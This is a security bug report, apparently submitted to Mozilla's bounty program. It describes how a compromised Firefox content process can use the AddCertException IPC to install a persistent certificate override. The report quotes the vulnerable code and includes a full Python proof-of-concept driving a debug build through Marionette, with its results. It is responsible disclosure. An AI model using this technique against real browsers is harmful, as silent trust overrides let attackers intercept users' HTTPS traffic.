Persistent Certificate Override via Content-Initiated Cert Exception
Categories
(Core :: DOM: Content Processes, defect)
Tracking
()
People
(Reporter: fte.security, Unassigned)
Details
(Keywords: reporter-external, Whiteboard: [client-bounty-form])
Persistent Certificate Override via Content-Initiated Cert Exception
Summary
Firefox exposes a child-to-parent certificate-exception route that ends in a persistent trust override. The executed validation used a narrow content-side trigger to call the same parent IPC with attacker-chosen certificate bytes, host, and port. In the negative control, navigation to the self-signed HTTPS endpoint failed with an insecure-certificate error. After the injected call returned NS_OK, the same HTTPS endpoint loaded successfully, and it still loaded after browser restart with the same profile. The profile also contained a persisted cert_override.txt, confirming a durable trust-state mutation.
Impact
A compromised content process can silently install a persistent certificate exception for a chosen host and make later HTTPS navigations to that host succeed without user approval.
Description
Relevant vulnerable code blocks
async AddCertException(nullable nsIX509Cert aCert, nsCString aHostName,
int32_t aPort, OriginAttributes aOriginAttributes,
bool aIsTemporary)
returns (nsresult success);
if (XRE_IsContentProcess()) {
ContentChild* cc = ContentChild::GetSingleton();
MOZ_ASSERT(cc);
OriginAttributes const& attrs = NodePrincipal()->OriginAttributesRef();
cc->SendAddCertException(cert, host, port, attrs, aIsTemporary)
->Then(GetCurrentSerialEventTarget(), __func__,
[promise](const mozilla::MozPromise<
nsresult, mozilla::ipc::ResponseRejectReason,
true>::ResolveOrRejectValue& aValue) {
if (aValue.IsResolve()) {
promise->MaybeResolve(aValue.ResolveValue());
} else {
promise->MaybeRejectWithUndefined();
}
});
return promise.forget();
}
mozilla::ipc::IPCResult ContentParent::RecvAddCertException(
nsIX509Cert* aCert, const nsACString& aHostName, int32_t aPort,
const OriginAttributes& aOriginAttributes, bool aIsTemporary,
AddCertExceptionResolver&& aResolver) {
nsCOMPtr<nsICertOverrideService> overrideService =
do_GetService(NS_CERTOVERRIDE_CONTRACTID);
if (!overrideService) {
aResolver(NS_ERROR_FAILURE);
return IPC_OK();
}
nsresult rv = overrideService->RememberValidityOverride(
aHostName, aPort, aOriginAttributes, aCert, aIsTemporary);
aResolver(rv);
return IPC_OK();
}
nsCertOverrideService::RememberValidityOverride(
const nsACString& aHostName, int32_t aPort,
const OriginAttributes& aOriginAttributes, nsIX509Cert* aCert,
bool aTemporary) {
if (aHostName.IsEmpty() || !IsAscii(aHostName) || !aCert) {
return NS_ERROR_INVALID_ARG;
}
if (aPort < -1) {
return NS_ERROR_INVALID_ARG;
}
if (!NS_IsMainThread()) {
return NS_ERROR_NOT_SAME_THREAD;
}
nsAutoCString fpStr;
nsresult rv = GetCertSha256Fingerprint(aCert, fpStr);
if (NS_FAILED(rv)) {
return rv;
}
{
MutexAutoLock lock(mMutex);
AddEntryToList(aHostName, aPort, aOriginAttributes, aTemporary, fpStr,
lock);
if (!aTemporary) {
Write(lock);
}
}
return NS_OK;
}
Vulnerable code flow
- A content process sends
AddCertExceptionwith a chosen certificate, host, port, and origin attributes. - The parent receives that message and forwards the child-controlled values directly to
RememberValidityOverride. - For non-temporary exceptions, the override service writes the new trust decision to disk.
- Later navigations for the same host and profile bucket reuse that persisted exception.
What the PoC demonstrates
The executed PoC used a validation-only content trigger to invoke the real AddCertException IPC from ordinary web content. The first HTTPS navigation failed with an insecure certificate error, the injected IPC returned success, and the same HTTPS endpoint then loaded successfully both immediately and after restart. The generated profile also contained persisted override state, which matches the parent-side Write(lock) path above.
Full PoC Code
#!/usr/bin/env python3
import argparse
import base64
import contextlib
import http.server
import json
import os
import shutil
import socket
import ssl
import subprocess
import sys
import threading
import time
from pathlib import Path
REPO_ROOT = Path(__file__).resolve().parents[3]
FIREFOX_ROOT = REPO_ROOT / "validation-environments" / "env" / "firefox"
MARIONETTE_CLIENT = FIREFOX_ROOT / "testing" / "marionette" / "client"
if str(MARIONETTE_CLIENT) not in sys.path:
sys.path.insert(0, str(MARIONETTE_CLIENT))
from marionette_driver.marionette import Marionette # noqa: E402
from marionette_driver import errors # noqa: E402
from marionette_driver.wait import Wait # noqa: E402
class QuietHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if self.server.kind == "http":
body = (
"<!doctype html><meta charset=utf-8>"
"<title>source</title><body>source-page</body>"
).encode()
else:
body = (
"<!doctype html><meta charset=utf-8>"
"<title>secure</title><body>secure-ok</body>"
).encode()
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, *args):
return
class ThreadedHTTPServer(http.server.ThreadingHTTPServer):
daemon_threads = True
def free_port():
with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
s.bind(("127.0.0.1", 0))
return s.getsockname()[1]
def start_http_server(kind, cert_path=None, key_path=None):
port = free_port()
server = ThreadedHTTPServer(("127.0.0.1", port), QuietHandler)
server.kind = kind
if kind == "https":
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(certfile=str(cert_path), keyfile=str(key_path))
server.socket = ctx.wrap_socket(server.socket, server_side=True)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server, port
def wait_for_port(port, timeout=20):
deadline = time.time() + timeout
while time.time() < deadline:
with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
if s.connect_ex(("127.0.0.1", port)) == 0:
return
time.sleep(0.1)
raise RuntimeError(f"timed out waiting for port {port}")
def wait_for_marionette_port(profile_dir, timeout=30):
active_port_file = profile_dir / "MarionetteActivePort"
deadline = time.time() + timeout
while time.time() < deadline:
if active_port_file.exists():
text = active_port_file.read_text(encoding="utf-8").strip()
if text.isdigit():
port = int(text)
wait_for_port(port, timeout=5)
return port
time.sleep(0.1)
raise RuntimeError("timed out waiting for MarionetteActivePort")
def pem_to_base64(pem_text):
lines = [
line.strip()
for line in pem_text.splitlines()
if line and "BEGIN CERTIFICATE" not in line and "END CERTIFICATE" not in line
]
return "".join(lines)
def launch_firefox(binary, profile_dir, log_path):
env = os.environ.copy()
env["MOZ_HEADLESS"] = "1"
env["MOZ_LOG"] = "certverifier:3,nsCertOverrideService:4,Document:3,ContentParent:3"
active_port_file = profile_dir / "MarionetteActivePort"
with contextlib.suppress(FileNotFoundError):
active_port_file.unlink()
stdout = open(log_path, "w", encoding="utf-8")
proc = subprocess.Popen(
[
str(binary),
"--marionette",
"--profile",
str(profile_dir),
"--no-remote",
"--new-instance",
"about:blank",
],
stdout=stdout,
stderr=subprocess.STDOUT,
env=env,
)
marionette_port = wait_for_marionette_port(profile_dir)
return proc, stdout, marionette_port
def connect_marionette(port):
client = Marionette(host="127.0.0.1", port=port)
client.start_session()
client.set_context("content")
client.timeout.page_load = 30000
client.timeout.script = 30000
return client
def read_body_text(client):
return client.execute_script("return document.body ? document.body.textContent : '';")
def current_url(client):
return client.execute_script("return window.location.href;")
def negative_control(client, https_url):
try:
client.navigate(https_url)
Wait(client, timeout=20).until(lambda c: current_url(c) != "about:blank")
return {
"kind": "loaded",
"url": current_url(client),
"title": client.title,
"body": read_body_text(client),
}
except errors.InsecureCertificateException as exc:
return {
"kind": "insecure_certificate_exception",
"message": str(exc),
"url": current_url(client),
}
def inject_override(client, source_url, cert_base64, https_port):
client.navigate(source_url)
Wait(client, timeout=20).until(lambda c: "source-page" in read_body_text(c))
result = client.execute_async_script(
"""
const [certBase64, targetPort] = arguments;
const done = arguments[arguments.length - 1];
document.addCertExceptionForValidation(
certBase64,
"localhost",
targetPort,
false
).then(
value => done({ok: true, value: String(value)}),
error => done({ok: false, error: String(error)})
);
""",
script_args=[cert_base64, https_port],
)
if not result.get("ok"):
raise RuntimeError(f"override injection failed: {result}")
return result
def positive_check(client, https_url):
client.navigate(https_url)
Wait(client, timeout=20).until(lambda c: "secure-ok" in read_body_text(c))
return {
"url": current_url(client),
"title": client.title,
"body": read_body_text(client),
}
def quit_browser(client, proc, stdout_handle):
with contextlib.suppress(Exception):
client.delete_session()
with contextlib.suppress(Exception):
proc.terminate()
proc.wait(timeout=10)
with contextlib.suppress(Exception):
proc.kill()
stdout_handle.close()
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"--binary",
default=str(
FIREFOX_ROOT
/ "objdir-validation"
/ "dist"
/ "NightlyDebug.app"
/ "Contents"
/ "MacOS"
/ "firefox"
),
)
parser.add_argument(
"--profile-dir",
default=str(REPO_ROOT / "validation-environments" / "profiles" / "firefox" / "add-cert-exception"),
)
parser.add_argument(
"--cert-path",
default=str(REPO_ROOT / "validation-environments" / "payloads" / "firefox" / "localhost-cert.pem"),
)
parser.add_argument(
"--key-path",
default=str(REPO_ROOT / "validation-environments" / "payloads" / "firefox" / "localhost-key.pem"),
)
parser.add_argument(
"--evidence-json",
default=str(REPO_ROOT / "validation-environments" / "evidence" / "firefox" / "add-cert-exception.json"),
)
args = parser.parse_args()
profile_dir = Path(args.profile_dir)
cert_path = Path(args.cert_path)
key_path = Path(args.key_path)
evidence_json = Path(args.evidence_json)
evidence_json.parent.mkdir(parents=True, exist_ok=True)
profile_dir.parent.mkdir(parents=True, exist_ok=True)
if profile_dir.exists():
shutil.rmtree(profile_dir)
profile_dir.mkdir(parents=True)
(profile_dir / "user.js").write_text(
'\n'.join(
[
'user_pref("validation.firefox.content_ipc_testing.enabled", true);',
'user_pref("marionette.port", 0);',
"",
]
),
encoding="utf-8",
)
cert_base64 = pem_to_base64(cert_path.read_text(encoding="utf-8"))
http_server, http_port = start_http_server("http")
https_server, https_port = start_http_server("https", cert_path, key_path)
browser_log_1 = evidence_json.with_name("add-cert-exception-browser-pass1.log")
browser_log_2 = evidence_json.with_name("add-cert-exception-browser-pass2.log")
source_url = f"http://127.0.0.1:{http_port}/"
https_url = f"https://localhost:{https_port}/"
results = {
"source_url": source_url,
"https_url": https_url,
"profile_dir_name": profile_dir.name,
"negative_control": None,
"injection": None,
"positive_after_injection": None,
"positive_after_restart": None,
"cert_override_present": None,
"cert_override_excerpt_b64": None,
}
proc1 = stdout1 = client1 = None
proc2 = stdout2 = client2 = None
try:
proc1, stdout1, marionette_port_1 = launch_firefox(
Path(args.binary), profile_dir, browser_log_1
)
client1 = connect_marionette(marionette_port_1)
results["negative_control"] = negative_control(client1, https_url)
results["injection"] = inject_override(client1, source_url, cert_base64, https_port)
results["positive_after_injection"] = positive_check(client1, https_url)
quit_browser(client1, proc1, stdout1)
client1 = proc1 = stdout1 = None
proc2, stdout2, marionette_port_2 = launch_firefox(
Path(args.binary), profile_dir, browser_log_2
)
client2 = connect_marionette(marionette_port_2)
results["positive_after_restart"] = positive_check(client2, https_url)
cert_override = profile_dir / "cert_override.txt"
if cert_override.exists():
results["cert_override_present"] = True
excerpt = cert_override.read_bytes()[:512]
results["cert_override_excerpt_b64"] = base64.b64encode(excerpt).decode()
else:
results["cert_override_present"] = False
evidence_json.write_text(json.dumps(results, indent=2), encoding="utf-8")
print(json.dumps(results, indent=2))
finally:
if client1 or proc1 or stdout1:
quit_browser(client1, proc1, stdout1)
if client2 or proc2 or stdout2:
quit_browser(client2, proc2, stdout2)
http_server.shutdown()
https_server.shutdown()
if __name__ == "__main__":
main()
PoC Steps
- Start the debug browser build with the validation-only content trigger enabled.
- Start the local HTTP page and the self-signed HTTPS page.
- Navigate to the HTTPS page and confirm the negative control fails with an insecure-certificate error.
- Navigate to the HTTP page and invoke the validation trigger with the base64-encoded server certificate,
localhost, and the HTTPS port. - Revisit the same HTTPS page and confirm it loads successfully.
- Restart the browser with the same profile and confirm the HTTPS page still loads.
- Check the reused profile for persisted override state.
PoC Results
- Negative control: navigation to
https://localhost:54046/failed withInsecureCertificateError. - Injection: the content-side IPC trigger returned
NS_OK. - Positive after injection: the same HTTPS page loaded with title
secureand bodysecure-ok. - Positive after restart: the same HTTPS page still loaded with title
secureand bodysecure-ok. - Persistence:
cert_override_presentwastrue. - Evidence:
./validation-environments/evidence/firefox/add-cert-exception.json - Browser logs:
./validation-environments/evidence/firefox/add-cert-exception-browser-pass1.logand./validation-environments/evidence/firefox/add-cert-exception-browser-pass2.log
Updated•3 months ago
|
Updated•3 months ago
|
Updated•2 months ago
|
Description
•